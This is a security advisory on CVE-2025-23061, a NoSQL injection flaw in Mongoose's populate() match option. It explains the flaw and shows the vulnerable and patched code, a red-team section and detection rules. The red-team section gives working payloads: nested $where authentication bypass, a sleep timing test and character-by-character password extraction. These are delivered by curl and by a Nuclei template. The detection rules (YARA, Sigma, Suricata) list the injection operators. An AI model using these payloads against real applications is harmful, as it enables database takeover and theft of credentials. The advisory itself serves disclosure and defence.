CVE-2025-23061

Executive Summary

CVE-2025-23061 is a critical NoSQL injection vulnerability in Mongoose, a popular MongoDB ODM for Node.js, affecting versions prior to 8.9.5. This vulnerability allows an attacker to bypass authentication and execute arbitrary JavaScript code on the MongoDB server by injecting nested $where operators within logical operators like $and in the populate() function's match option. The vulnerability exists due to an incomplete fix for CVE-2024-53900, which only blocked direct $where injection but failed to sanitize nested operators. With a CVSS score of 9.0, this vulnerability poses a severe risk to applications using Mongoose for database operations, potentially leading to full database compromise.

Supply Chain & Package Security

Mongoose is a widely used npm package with over 2 million weekly downloads, making it a high-value target for supply chain attacks. The vulnerability affects the core library, and any application using Mongoose < 8.9.5 is at risk. Organizations should immediately audit their dependencies and update to the patched version. The incomplete fix for CVE-2024-53900 highlights the importance of thorough security reviews for patches.

CVSS Breakdown & Threat Level

• CVSS Score: 9.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): High (H) - Requires crafting a specific nested query.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Changed (C) - Impact extends beyond the vulnerable component.
• Confidentiality (C): High (H) - Full data access.
• Integrity (I): High (H) - Data can be modified.
• Availability (A): High (H) - Potential for denial of service.

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to execute arbitrary JavaScript on the MongoDB server, leading to complete data exfiltration, modification, or deletion.

Deep Dive & Mechanics

The vulnerability resides in the populate() function of Mongoose, which is used to automatically replace specified paths in a document with documents from other collections. The match option in populate() allows filtering of populated documents. In versions prior to 8.9.5, the fix for CVE-2024-53900 blocked direct use of $where in the match object. However, it failed to recursively sanitize nested operators like $and, $or, or $nor.

An attacker can bypass the filter by nesting a $where clause inside a logical operator. For example:

{"$and": [{"$where": "this.isAdmin"}]}

This query is passed to MongoDB, which executes the JavaScript code in $where, allowing the attacker to check conditions like this.isAdmin or execute arbitrary code. The vulnerability is particularly dangerous because it can be exploited via HTTP GET parameters if the application passes user input directly to the populate() match option.

Vulnerable vs. Patched Code

Vulnerable Code (Mongoose < 8.9.5):

// In populate.js, the sanitize function only checks top-level $where
function sanitizeFilter(filter) {
  if (filter.$where) {
    throw new Error('$where not allowed');
  }
  return filter;
}

Patched Code (Mongoose >= 8.9.5):

// Recursively sanitize all nested operators
function sanitizeFilter(filter) {
  if (filter.$where) {
    throw new Error('$where not allowed');
  }
  for (const key of Object.keys(filter)) {
    if (key.startsWith('$')) {
      if (Array.isArray(filter[key])) {
        filter[key].forEach(sanitizeFilter);
      } else if (typeof filter[key] === 'object') {
        sanitizeFilter(filter[key]);
      }
    }
  }
  return filter;
}

The patched version recursively traverses all keys in the filter object, ensuring that $where is blocked at any nesting level.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable Mongoose application (version < 8.9.5) with a route that uses populate() with user-controlled match parameter.
• Example vulnerable endpoint: GET /posts?authorMatch={"$and":[{"$where":"this.isAdmin"}]}

Exploitation Steps:

1. Identify an endpoint that uses populate() with a match option derived from user input.
2. Craft a payload that nests $where inside a logical operator:

   {"$and":[{"$where":"this.isAdmin"}]}
   

3. Send the request:

   curl "http://target.com/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22this.isAdmin%22%7D%5D%7D"
   

4. If successful, the response will include documents where isAdmin is true, bypassing authentication.

Advanced Payloads:

• Execute arbitrary JavaScript:

  {"$and":[{"$where":"sleep(5000)"}]}
  

• Extract data:

  {"$and":[{"$where":"this.password.startsWith('a')"}]}
  

Blue Team (Detection & Hardening)

Detection:

• Monitor for requests containing $where, $and, $or, or $nor in query parameters.
• Look for unusual patterns in MongoDB logs, such as JavaScript execution errors or slow queries.
• Use the detection rules provided in the Detection Engineering section.

Hardening:

• Immediately upgrade to Mongoose 8.9.5 or later.
• Implement input validation to reject any query parameters containing MongoDB operators.
• Use a Web Application Firewall (WAF) to block requests with $where in the body or query string.
• Apply the principle of least privilege to database users.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing $where in query parameters or POST body.
  • Requests with nested JSON objects like {"$and":[{"$where":"..."}]}.
• Log IOCs:
  • MongoDB logs showing $where clauses in queries.
  • Application logs with errors related to populate() or sanitizeFilter.
• File IOCs:
  • Presence of Mongoose version < 8.9.5 in package.json.
• Behavioral IOCs:
  • Unauthorized access to admin endpoints.
  • Unusual database queries with JavaScript execution.

Detection Engineering

YARA Rule

rule Mongoose_NoSQL_Injection_CVE_2025_23061 {
    meta:
        description = "Detects attempts to exploit CVE-2025-23061 via nested $where in HTTP requests"
        author = "Valters IT"
        date = "2025-01-01"
        severity = "critical"
    strings:
        $nested_where = /\$and.*\$where|\$or.*\$where|\$nor.*\$where/
        $json_payload = /\{"\$and":\[\{"\$where":/
    condition:
        $nested_where or $json_payload
}

Sigma Rule

title: Mongoose NoSQL Injection via Nested $where
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with nested $where operators targeting Mongoose populate()
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '$where'
            - '$and'
            - '$or'
            - '$nor'
    condition: selection
falsepositives:
    - Legitimate use of MongoDB operators in rare cases
level: critical

Suricata Rule

alert http any any -> any any (msg:"Mongoose NoSQL Injection CVE-2025-23061"; flow:to_server,established; content:"$where"; http_uri; content:"$and"; http_uri; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2025-23061

info:
  name: Mongoose - NoSQL Injection
  author: NamhyunKo
  severity: critical
  description: |
    NoSQL injection vulnerability in Mongoose < 8.9.5 affecting the populate() function's match option. This vulnerability exists due to an incomplete fix for CVE-2024-53900. While direct $where injection is blocked, attackers can bypass this protection by nesting $where operators within logical operators like $and, allowing execution of arbitrary JavaScript code on MongoDB server, bypassing authentication, and accessing sensitive administrative data.
  impact: |
    Attackers can bypass authentication and execute arbitrary JavaScript code on MongoDB servers through nested $where operators in the populate() function, potentially accessing sensitive administrative data and compromising database integrity.
  remediation: |
    Upgrade to Mongoose version 8.9.5 or later that properly blocks nested $where operators.
  reference:
    - https://github.com/Automattic/mongoose/commit/64a9f9706f2428c49e0cfb8e223065acc645f7bc
    - https://github.com/Automattic/mongoose/releases/tag/8.9.5
    - https://github.com/NamhyeonKo/mongoose-cve-lab
    - https://nvd.nist.gov/vuln/detail/CVE-2025-23061
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.0
    cve-id: CVE-2025-23061
    epss-score: 0.55322
    epss-percentile: 0.98079
    cwe-id: CWE-94
    cpe: cpe:2.3:a:mongoosejs:mongoose:*:*:*:*:*:node.js:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Mongoose"
    fofa-query: title="Mongoose"
  tags: cve,cve2025,nosql,mongoose,nodejs,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/posts?authorMatch={"$and":[{"$where":"this.isAdmin"}]}'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"isAdmin":true'
          - '"title":'
          - '"username":'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Upgrade Mongoose: Update to version 8.9.5 or later using npm install mongoose@8.9.5.
2. Audit Dependencies: Run npm audit to identify all affected packages.
3. Apply WAF Rules: Block requests containing $where, $and, $or, or $nor in query parameters.

Long-term Mitigations:

• Implement strict input validation for all user-supplied data used in database queries.
• Use parameterized queries or ORM methods that automatically sanitize inputs.
• Regularly review and test security patches for completeness.
• Monitor MongoDB logs for unusual JavaScript execution.

Patch Verification:

• After upgrading, verify the fix by testing the exploit payload:

  curl "http://target.com/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22this.isAdmin%22%7D%5D%7D"
  

• The request should return a 400 error or be sanitized.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: 827AD5061C07AEACC766ED88] */}